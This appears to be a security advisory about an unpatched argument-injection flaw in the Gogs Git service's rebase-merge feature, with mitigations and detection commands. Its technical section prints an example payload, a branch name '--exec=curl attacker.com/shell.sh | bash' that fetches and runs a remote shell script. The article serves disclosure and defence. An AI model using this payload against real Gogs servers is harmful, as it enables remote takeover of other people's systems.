Gogs Zero-Day RCE: No Patch After 10 Weeks of Ignored Reports

A critical zero-day vulnerability in Gogs — a popular self-hosted Git service with millions of deployments worldwide — allows any authenticated user to execute arbitrary commands on the underlying server with no patch available, ten weeks after Rapid7 first reported the flaw to the maintainers. The vulnerability carries a CVSSv4 (Common Vulnerability Scoring System version 4) score of 9.4 Critical and was publicly disclosed on May 28, 2026, after the Gogs project failed to respond to multiple follow-up attempts.

// 01 Gogs Zero-Day RCE: Technical Details

Gogs is an open-source, self-hosted Git service written in Go, favored by organizations and individuals who want to run their own private version-control infrastructure without relying on GitHub or GitLab cloud services. It is lightweight, easy to deploy, and has been widely adopted in enterprise development pipelines, research institutions, and government networks.

The zero-day (no CVE identifier has been assigned as of disclosure) exploits the way Gogs handles pull requests using its "Rebase before merging" merge operation. When this feature is enabled, Gogs internally calls git rebase to integrate the feature branch into the target branch. An attacker who controls a pull request can create a branch with a name crafted to inject the --exec flag into the underlying git rebase command:

# Attacker creates a malicious branch name:
git checkout -b "--exec=curl attacker.com/shell.sh | bash"
git push origin HEAD

# Gogs executes something equivalent to:
git rebase --exec="curl attacker.com/shell.sh | bash" target-branch
# → arbitrary shell command runs as the Gogs server process user

The --exec flag in git rebase instructs Git to run a shell command after every rebase step — a legitimate feature for automated testing hooks. By crafting a branch name that begins with --exec=, an attacker tricks Gogs into passing their injected command directly to the Git process.

This class of vulnerability is known as argument injection (CWE-88, Improper Neutralization of Argument Delimiters in a Command) — a subset of command injection where the attacker does not introduce shell metacharacters but instead injects additional flags that change a command's behavior.

A CVSSv4 score of 9.4 means the following real-world conditions apply:

• Attack Vector: Network — exploitable remotely over the internet
• Attack Complexity: Low — no specialized knowledge or race conditions required
• Privileges Required: Low — any user with a Gogs account can trigger the exploit
• User Interaction: None — victim does not need to click anything
• Impact: High on Confidentiality, Integrity, and Availability — the server is fully compromised

Rapid7 discovered and reported the vulnerability to the Gogs maintainers on March 17, 2026. Despite multiple follow-up attempts over ten weeks, the team received no substantive response, and no patch, advisory, or acknowledgment was published. Rapid7 disclosed the vulnerability publicly on May 28, 2026, following responsible disclosure norms that call for public release after a reasonable remediation window.

// 02 Exploitation Status and Threat Landscape

There is no confirmed report of active in-the-wild exploitation at the time of public disclosure, but the technical bar is low: any authenticated Gogs user — including those with read-only repository access — can trigger the vulnerability through a normal-looking pull request workflow.

The practical attack surface is significant. Unlike CISA's Known Exploited Vulnerabilities catalog (KEV — a U.S. Cybersecurity & Infrastructure Security Agency list confirming active exploitation), this vulnerability had no advance public warning. Threat actors now have full technical details available and face a population of unpatched Gogs instances with no official remediation guidance.

The following MITRE ATT&CK (a globally recognized framework of adversary tactics and techniques) identifiers apply:

• T1059 — Command and Scripting Interpreter: The exploit triggers arbitrary shell command execution via Git hooks
• T1190 — Exploit Public-Facing Application: Gogs instances exposed to the internet are directly reachable
• T1552.004 — Unsecured Credentials: Private Keys: Credential material stored in repositories becomes accessible post-exploitation

// 03 Who Is Affected

Every organization running a self-hosted Gogs instance is potentially affected. Gogs does not publish a centralized download count, but the project has been downloaded millions of times and is indexed extensively by internet scanners. Shodan and Censys queries for Gogs instances return thousands of publicly accessible deployments.

Affected scenarios include:

• Enterprise internal Git servers using Gogs for proprietary source code hosting
• Government and research institutions deploying Gogs behind VPNs (if an attacker already has internal credentials)
• Open-source project mirrors where community contributors have pull request access
• DevOps pipelines where Gogs acts as the upstream repository triggering CI/CD builds

There is no specific version range listed because no patch exists — all current Gogs versions are affected by this vulnerability.

// 04 What You Should Do Right Now

• Disable "Rebase before merging" in every Gogs repository immediately. In the Gogs web interface, navigate to Repository Settings → Repository and disable the rebase merge option. This removes the code path that triggers the exploit.
• Restrict pull request permissions to trusted contributors only. If your Gogs instance allows open registration or public-facing pull requests, lock down repository access until a patch is released.
• Audit your Gogs process user — ensure the Gogs daemon runs as a low-privilege system user with no access to sensitive directories outside its data path. Running as root exponentially increases the blast radius of exploitation.
• Review Gogs server logs for unexpected outbound connections or unusual process spawns. A compromised server may beacon back to an attacker's infrastructure immediately after exploitation.
• Consider migration to a patched alternative. Gitea — a community fork of Gogs with an active maintainer team — is a functionally equivalent drop-in replacement. Forgejo, a community-maintained Gitea fork, is also a viable option.
• Monitor Gogs project issues and releases for a patch. When one is published, treat it as an emergency update — patch within 24 hours given the public exploit details available.

Detection command — check for suspicious branches containing --exec strings:

# Run on your Gogs data directory; adapt path as needed
find /home/git/gogs-repositories -name HEAD -exec grep -l -- '--exec' {} ;

# Or query your git log for branch names with flag-like patterns:
git for-each-ref --format='%(refname:short)' refs/heads/ | grep -E '^--'

// 05 Background: Understanding the Risk

Argument injection is a subtle but dangerous class of vulnerability that does not require the classic shell metacharacters (;, |, &&) that most input-sanitization routines are designed to detect. Instead, the attacker injects additional command-line flags that change how the program behaves — in this case turning a routine git rebase into an arbitrary code executor via its own --exec flag.

This type of flaw has appeared in high-profile incidents before. The GitLab CVE-2022-2992 remote code execution vulnerability exploited a similar class of path-traversal via Git operations. The CVE-2024-32002 Git clone vulnerability allowed RCE through crafted repository names on case-insensitive file systems.

What distinguishes the Gogs zero-day from those incidents is the complete absence of a vendor patch or even public acknowledgment. The Gogs project has historically suffered from slow release cadence and limited maintainer bandwidth. The last stable release predates many modern security practices, and the maintainers' silence in response to Rapid7's responsible disclosure attempt raises serious concerns about the project's long-term security posture.

For organizations that rely on Gogs because it is lightweight and self-contained, this incident highlights a structural risk: small open-source projects with a single maintainer or a small core team may not have the capacity to respond to security reports in a timely manner. This is not unique to Gogs — it is a systemic challenge across the self-hosted Git ecosystem. The OpenSSF Security Scorecards project was specifically designed to surface this risk before organizations commit to a dependency.

The practical upshot is that every Gogs administrator must treat this disclosure as a zero-day with no remediation timeline. The workaround (disabling rebase merge) is the only currently available mitigation.

// 06 Conclusion

The Gogs zero-day represents an unpatched CVSSv4 9.4 RCE vulnerability with full technical details now public and no fix in sight. Any organization running Gogs should disable the rebase merge feature immediately, restrict pull request access to trusted contributors, and evaluate migration to an actively maintained alternative such as Gitea or Forgejo. Given the vendor's ten-week silence, administrators should not wait for an official patch before implementing mitigations.